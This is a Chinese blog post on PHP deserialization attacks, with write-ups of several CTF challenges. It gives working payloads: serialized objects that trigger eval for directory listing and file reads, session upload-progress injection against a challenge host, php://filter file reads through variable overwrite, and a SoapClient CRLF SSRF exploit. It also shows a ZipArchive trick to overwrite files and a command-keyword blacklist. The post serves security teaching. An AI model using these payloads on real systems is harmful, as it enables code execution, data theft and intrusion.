Virtua1's blog

PHP反序列化深入剖析-Part one

字数统计: 3.6k阅读时长: 15 min
2019/10/28 Share

PHP反序列化基础

PHP反序列化的基础拿一道题目复习下

实例1(From Jarvis OJ)

首先存在文件包含漏洞,通过文件包含拿到源码,读取flag文件不存在:

1
<?php
2
//index.php
3
	require_once('shield.php');
4
	$x = new Shield();
5
	isset($_GET['class']) && $g = $_GET['class'];
6
	if (!empty($g)) {
7
		$x = unserialize($g);
8
	}
9
	echo $x->readfile();
10
11
//shield.php
12
	//flag is in pctf.php
13
	class Shield {
14
		public $file;
15
		function __construct($filename = '') {
16
			$this -> file = $filename;
17
		}
18
19
		function readfile() {
20
			if (!empty($this->file) && stripos($this->file,'..')===FALSE
21
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
22
				return @file_get_contents($this->file);
23
			}
24
		}
25
	}
26
27
?>

看到反序列化操作,可以想到利用php反序化漏洞读取flag。

EXP:

1
<?php
2
class Shield {
3
	public $file;
4
}
5
$a = new Shield();
6
$a -> file = 'pctf.php';
7
echo serialize($a);
8
?>

Payload:class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

魔术方法剖析

常用的魔法函数:

__wakeup()__construct()__destruct()__call()__get()__set()__toString()__clone()__sleep()__isset()__unset()__set_state()__autoload()

__wakeup():是在反序列化操作中起作用的魔法函数,当unserialize的时候,会检查是否存在__wakeup()函数,如果存在的话,会优先调用__wakeup()函数。

__construct():实例化对象时被调用。
__destruct():当删除一个对象或对象操作终止时被调用。

__call():当对象调用某个方法的时候,若方法存在,则直接调用;若不存在或者无法访问,则会去调用__call函数。

__get():读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在或者无法访问,则会调用__get函数。

__set():设置一个对象的属性时,若属性存在,则直接赋值;若不存在,则会调用__set函数。

__toString():打印一个对象的时被调用。如 echo $obj ,或 print $obj;

__clone():克隆对象时被调用。如:$t=new Test(),$t1=clone $t;

__sleep():serialize之前被调用。

__isset():检测一个对象的属性是否存在时被调用。如:isset($c->name)。

__unset():unset一个对象的属性时被调用。如:unset($c->name)。

__set_state():调用var_export时,被调用。用__set_state的返回值做为var_export的返回值。

__autoload():实例化一个对象时,如果对应的类不存在,则该方法被调用。

具体的利用方法在结合实例分析。

Session序列化

基础部分

session_start

查看手册发现:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

可以看到 当session_start开启,就会引发自动反序列化。

session.upload_progress

PHP5.4的新特征,当session.upload_progress.enabled选项开启时,PHP能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值

开启测试:

image.png

浏览phpinfo 看到以上配置说明开启了session.upload_progress。如果开启了session.upload_progress.cleanup

利用Session文件的时候需要条件竞争。

总之一句话:一旦Session.upload_progress.enabled开启,我们是可以控制Session文件内容。

以上提到当session_start开启,就会引发自动反序列化,而Session文件的内容我们可以控制,因此就可以控制反序列化。

PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
在php.ini中存在三项配置项:

session.save_path=”” –设置session的存储路径
session.save_handler=”” –设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler string –定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)

Session引擎

本地测试下Session文件的格式,首先php.ini 开启session.upload_progress,新建如下文件:

1
<?php
2
session_start();
3
$_SESSION['login_ok'] = true;
4
$_SESSION['name'] = 'Virtua1';
5
$_SESSION['isadmin'] = 1;

访问此页面,并且抓包从Cookie获取PHPSESSID:

Cookie: PHPSESSID=512lt5o10vqumitsa1rg8pceb3

查看Session:/var/lib/php5/sess_512lt5o10vqumitsa1rg8pceb3

login_ok|b:1;name|s:7:"Virtua1";isadmin|i:1;

Session序列化具有以下3种不同的引擎:

1
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
2
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
3
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

可见以上是php引擎,在没有指定引擎的时候,会默认使用php引擎。

当指定引擎:

1
<?php
2
ini_set('session.serialize_handler', 'php_serialize');
3
session_start();
4
$_SESSION['login_ok'] = true;
5
$_SESSION['name'] = 'Virtua1';
6
$_SESSION['isadmin'] = 1;

重新访问,查看Session:

a:3:{s:8:"login_ok";b:1;s:4:"name";s:7:"Virtua1";s:7:"isadmin";i:1;}

php_binary<0x08>login_okb:1;<0x04>names:7:"Virtua1";<0x07>isadmini:1;

当程序在存储Session时用的引擎与解码Session时用的引擎不同,会产生漏洞。

当input和程序的引擎不同,构造恶意payload就可以达到攻击目的。

实例2 (From Jarvis OJ)

考点:反序列化命令执行 + Session分序列化

1
<?php
2
//index.php
3
//A webshell is wait for you
4
ini_set('session.serialize_handler', 'php');
5
session_start();
6
class OowoO
7
{
8
    public $mdzz;
9
    function __construct()
10
    {
11
        $this->mdzz = 'phpinfo();';
12
    }
13
    
14
    function __destruct()
15
    {
16
        eval($this->mdzz);
17
    }
18
}
19
if(isset($_GET['phpinfo']))
20
{
21
    $m = new OowoO();
22
}
23
else
24
{
25
    highlight_string(file_get_contents('index.php'));
26
}
27
?>

可以发现Session序列化引擎是phpOowoO类中存在 eval危险操作,get提交phpinfo()参数,发现phpinf()页面:

可以发现开启了 session.upload_progress,构造序列化exp:

1
<?php
2
class OowoO
3
{
4
    public $mdzz;
5
}
6
$obj = new OowoO();
7
$obj -> mdzz = 'print_r(scandir(dirname(__FILE__)));';
8
echo serialize($obj);
9
//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

注意到我们序列化用的是php_serialize,而程序反序列化Session时利用的是php引擎,绕过这里需要在payload前加|,伪造成恶意payload,构造上传页面:

1
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
2
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
3
    <input type="file" name="file" />
4
    <input type="submit" />
5
</form>

抓包把filename改为恶意payload,这里需要把payload里的引号前加\,防止转义:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

然后改下payload读文件,注意读取的时候用绝对路径:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

实例3(Feom XCTF Final 2018 bestphp)

复现时发现 sava_path一直覆盖不了,测试才发现环境为php5,而覆盖是php7的新特性。

考点:php7 + session 路径 + 变量覆盖

题目给出了index.php的源码:

1
<?php
2
    highlight_file(__FILE__);
3
    error_reporting(0);
4
    ini_set('open_basedir', '/var/www/html:/tmp');
5
    $file = 'function.php';
6
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
7
    call_user_func($func,$_GET);
8
    include($file);
9
    session_start();
10
    $_SESSION['name'] = $_POST['name'];
11
    if($_SESSION['name']=='admin'){
12
        header('location:admin.php');
13
    }
14
?>

审计代码发现存在回调函数call_user_func,可控的变量有$_GET['function']$_POST['name']

同时存在include($file)文件包含函数,但是$file限定了为function.php,因为回调函数的存在,不难想到利用变量覆盖覆盖掉$file的值,任意文件包含,构造paylaod读到function.phpadmin.php的源码:

1
?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php
1
<?php
2
function filters($data){
3
    foreach($data as $key=>$value){
4
        if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
5
            die('Do not hack me!');
6
        }
7
    }
8
}
9
?>
1
hello admin
2
<?php
3
if(empty($_SESSION['name'])){
4
    session_start();
5
    #echo 'hello ' + $_SESSION['name'];
6
}else{
7
    die('you must login with admin');
8
}
9
10
?>

但是似乎没什么用,不过发现了$_SESSION['name'] = $_POST['name'];可以结合Session可控写入shell,然后利用文件包含。

Session文件的常见目录:

1
/var/lib/php/sess_PHPSESSID
2
/var/lib/php/sessions/sess_PHPSESSID
3
4
/var/lib/php5/sess_PHPSESSID
5
/var/lib/php5/sessions/sess_PHPSESSID
6
7
/tmp/sess_PHPSESSID
8
/tmp/sessions/sess_PHPSESSID

但是又看到ini_set('open_basedir', '/var/www/html:/tmp');限制了目录是无法包含Session文件的。

因为存在回调函数,利用session_start命令修改session文件目录到限制目录内,name传入shell:

包含session文件 getshell:

原生类序列化

前边我们已经叙述了常用的魔法函数,魔法函数的目的就是帮助我们自动触发危险方法,当反序列化漏洞无法找到可以利用的魔法函数构造pop链时,该怎么办? 可以找到php内置类来进行反序列化。

原生类魔法方法

看一下php本身的内置类存在魔法函数的问题:

1
<?php
2
$classes = get_declared_classes();
3
foreach ($classes as $class) {
4
    $methods = get_class_methods($class);
5
    foreach ($methods as $method) {
6
        if (in_array($method, array(
7
            '__destruct',
8
            '__toString',
9
            '__wakeup',
10
            '__call',
11
            '__callStatic',
12
            '__get',
13
            '__set',
14
            '__isset',
15
            '__unset',
16
            '__invoke',
17
            '__set_state'
18
        ))) {
19
            print $class . '::' . $method . "\n";
20
        }
21
    }
22
}

可以发现很多原生类都存在魔法函数,当然php版本不同,原生类不同,存在的魔法函数也不同。开启的扩展不同,存在的内置类也不同,如开启Soap服务才有SoapClient类。

主要分析以下几个内置类的魔法函数:

SoapClient:从列出的原生类的魔法函数可以看到此类存在__call方法看一下手册:

此类的作用是有通信功能:

SOAP : Simple Object Access Protocol简单对象访问协议

采用HTTP作为底层通讯协议,XML作为数据传送的格式

此类的详细分析从几道CTF题看SOAP安全问题

我们用一道题目来看下此类。

实例4 (From LCTF 2018 bestphp’s revenge)

源码:

index.php

1
<?php
2
highlight_file(__FILE__);
3
$b = 'implode';
4
call_user_func($_GET[f],$_POST);
5
session_start();
6
if(isset($_GET[name])){
7
    $_SESSION[name] = $_GET[name];
8
}
9
var_dump($_SESSION);
10
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
11
call_user_func($b,$a);
12
?>

不难发现这道题目和实例2很像,存在回调函数,session可控。

flag.php

1
session_start();
2
echo 'only localhost can get flag!';
3
$flag = 'LCTF{*************************}';
4
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
5
       $_SESSION['flag'] = $flag;
6
   }
7
only localhost can get flag!

因为不能利用写入shell,然后文件包含getshell,所以利用session反序列化

没有设置session序列化的引擎,所以利用session_star 传入数组进行变量覆盖,设置反序列化时的引擎为 php_serialize,然后反序列化时利用php引擎导致漏洞。

这里利用buuctf的复现环境:

首先利用session_start覆盖序列化时的引擎,传入name为构造的ssrf payload:

exp

1
<?php
2
$target = "http://127.0.0.1/flag.php";
3
$attack = new SoapClient(null,array('location' => $target,
4
    'user_agent' => "virtua1\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
5
    'uri' => "123"));
6
$payload = urlencode(serialize($attack));
7
echo $payload;

然后利用变量覆盖覆盖掉b的值为回调函数,这时触发反序列化,引擎为php,回调函数传入的参数为数组,因此会把第一个值当作类名,第二个值当作类方法调用,因为不存在welcome_to_the_lctf2018方法,因此触发__call导致SSRF发生。

带着返回的PHPSESSID访问,在打印的SESSION中发现flag:

这个题目需要注意的几点:

覆盖的时候,b=call_user_func,传入的参数为 array(reset($_SESSION),’welcome_to_the_lctf2018’),类名reset($_SESSION)=为Soapclient,此时会调用welcome_to_the_lctf2018方法,触发__call

1
><?php
2
>class myclass{
3
   static function say_hello(){
4
       echo "hello!";
5
   }
6
>}
7
>$classname = "myclass";
8
>call_user_func(array($classname,'say_hello'));

如以上例子会返回 hello!

同名类魔术方法

利用同名类找魔术方法在构造POP链中是经常用到的方法。看如下例子:

1
class UploadFile {
2
    function upload($fakename, $content) {
3
        ..... // 你什么也不能做
4
    }
5
    function open($fakename, $realname) {
6
        ..... // 你什么也不能做
7
    }
8
}

假设有这样一个上传类,但是因为有.htaccess文件的控制,上传文件夹被限制的很死,我们很难上传我们的一句话文件。唯一的突破口是利用类中的函数或者漏洞,删除.htaccess文件,否则即便上传了一句话文件,也不能被解析。

但是纵观类中函数,没有一个具有删除或者覆盖功能,此时应该如何操作呢?此时便应该考虑一下是否有原生类具有同名函数。比如此处的open函数,我们可以通过php代码进行搜索:

1
<?php
2
  foreach (get_declared_classes() as $class) {
3
    foreach (get_class_methods($class) as $method) {
4
      if ($method == "open")
5
        echo "$class->$method\n";
6
    }
7
  }
8
?>

发现有4个php原生类带有open方法,然后查阅分析每个方法的实现。

SessionHandler->open

可以看到有两个参数,第一个是保存session的路径,第二个是session文件的名字

XMLReader->open

XMLReader的open方法也是无法利用的。

SQLite3->open

看到SQLITE3_OPEN_READWRITE测试下是否能够删除文件,发现也是不能直接调用。

SQLITE3_OPEN_READWRITE用于Open the database for reading and writing.不能用于删除文件

ZipArchive->open

可以看到有个OVERWRITE,测试下能否利用:

1
<?php
2
$v = new ZipArchive();
3
$v -> open('test.txt',ZipArchive::OVERWRITE);

发现此方法可以直接利用。此利用方法来自Insomnihack Teaser 2018的File Vault题目。

实例5 (From Insomnihack Teaser 2018:File Vault )

题目可以参考:Insomnihack Teaser 2018 / File Vault

国外的题目真是有意思。

Referer

[1] 由浅入深剖析序列化攻击(一)

[2] 由浅入深剖析序列化攻击(二)

CATALOG
  1. 1. PHP反序列化基础
    1. 1.1. 实例1(From Jarvis OJ)
  2. 2. 魔术方法剖析
  3. 3. Session序列化
    1. 3.1. 基础部分
    2. 3.2. 实例2 (From Jarvis OJ)
    3. 3.3. 实例3(Feom XCTF Final 2018 bestphp)
  4. 4. 原生类序列化
    1. 4.1. 原生类魔法方法
    2. 4.2. 实例4 (From LCTF 2018 bestphp’s revenge)
    3. 4.3. 同名类魔术方法
    4. 4.4. 实例5 (From Insomnihack Teaser 2018:File Vault )
  5. 5. Referer